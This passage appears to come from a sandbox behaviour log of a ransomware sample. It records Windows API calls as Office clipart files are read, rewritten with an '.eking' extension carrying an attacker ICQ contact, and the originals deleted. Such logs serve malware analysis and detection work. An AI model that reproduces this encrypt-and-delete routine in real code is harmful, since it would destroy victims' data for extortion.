Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.470] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.470] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0258.471] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x83c, lpOverlapped=0x0) returned 1 [0258.828] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x840, lpOverlapped=0x0) returned 1 [0258.829] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0258.829] CloseHandle (hObject=0x394) returned 1 [0258.829] CloseHandle (hObject=0x398) returned 1 [0258.830] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0 [0258.830] SetEvent (hEvent=0x2b8) returned 1 [0258.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0258.831] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4612) returned 1 [0258.831] CloseHandle (hObject=0x398) returned 1 [0258.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0258.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0258.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0258.832] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.832] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0258.833] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1204, lpOverlapped=0x0) returned 1 [0258.835] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1210, lpOverlapped=0x0) returned 1 [0258.836] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0258.836] CloseHandle (hObject=0x398) returned 1 [0258.836] CloseHandle (hObject=0x394) returned 1 [0258.837] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0 [0258.837] SetEvent (hEvent=0x2b8) returned 1 [0258.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.839] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3144) returned 1 [0258.839] CloseHandle (hObject=0x394) returned 1 [0258.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0258.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0258.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.839] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.839] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0258.840] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xc48, lpOverlapped=0x0) returned 1 [0258.844] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xc50, lpOverlapped=0x0) returned 1 [0258.845] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0258.845] CloseHandle (hObject=0x394) returned 1 [0258.845] CloseHandle (hObject=0x398) returned 1 [0258.846] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0 [0258.846] SetEvent (hEvent=0x2b8) returned 1 [0258.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0258.847] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7668) returned 1 [0258.847] CloseHandle (hObject=0x398) returned 1 [0258.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0258.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0258.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0258.847] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.847] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0258.848] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1df4, lpOverlapped=0x0) returned 1 [0258.851] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1e00, lpOverlapped=0x0) returned 1 [0258.852] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0258.852] CloseHandle (hObject=0x398) returned 1 [0258.853] CloseHandle (hObject=0x394) returned 1 [0258.853] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0 [0258.853] SetEvent (hEvent=0x2b8) returned 1 [0258.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.854] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8492) returned 1 [0258.854] CloseHandle (hObject=0x394) returned 1 [0258.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0258.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0258.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.855] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.855] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0258.858] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x212c, lpOverlapped=0x0) returned 1 [0258.861] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2130, lpOverlapped=0x0) returned 1 [0258.862] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0258.862] CloseHandle (hObject=0x394) returned 1 [0258.862] CloseHandle (hObject=0x398) returned 1 [0258.862] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0 [0258.863] SetEvent (hEvent=0x2b8) returned 1 [0258.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0258.864] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7804) returned 1 [0258.864] CloseHandle (hObject=0x398) returned 1 [0258.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0258.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0258.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0258.865] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.865] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0258.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0258.865] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1e7c, lpOverlapped=0x0) returned 1 [0258.887] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1e80, lpOverlapped=0x0) returned 1 [0258.888] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0258.888] CloseHandle (hObject=0x398) returned 1 [0258.889] CloseHandle (hObject=0x394) returned 1 [0259.444] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0 [0259.444] SetEvent (hEvent=0x2b8) returned 1 [0259.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.445] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2492) returned 1 [0259.445] CloseHandle (hObject=0x390) returned 1 [0259.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0259.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0259.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.446] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.453] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0259.474] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x9bc, lpOverlapped=0x0) returned 1 [0259.480] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x9c0, lpOverlapped=0x0) returned 1 [0259.481] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.481] CloseHandle (hObject=0x390) returned 1 [0259.481] CloseHandle (hObject=0x3a8) returned 1 [0259.482] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0 [0259.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.484] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5004) returned 1 [0259.484] CloseHandle (hObject=0x3a8) returned 1 [0259.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0259.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0259.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.485] SetFilePointerEx (in: hFile=0x3a8, 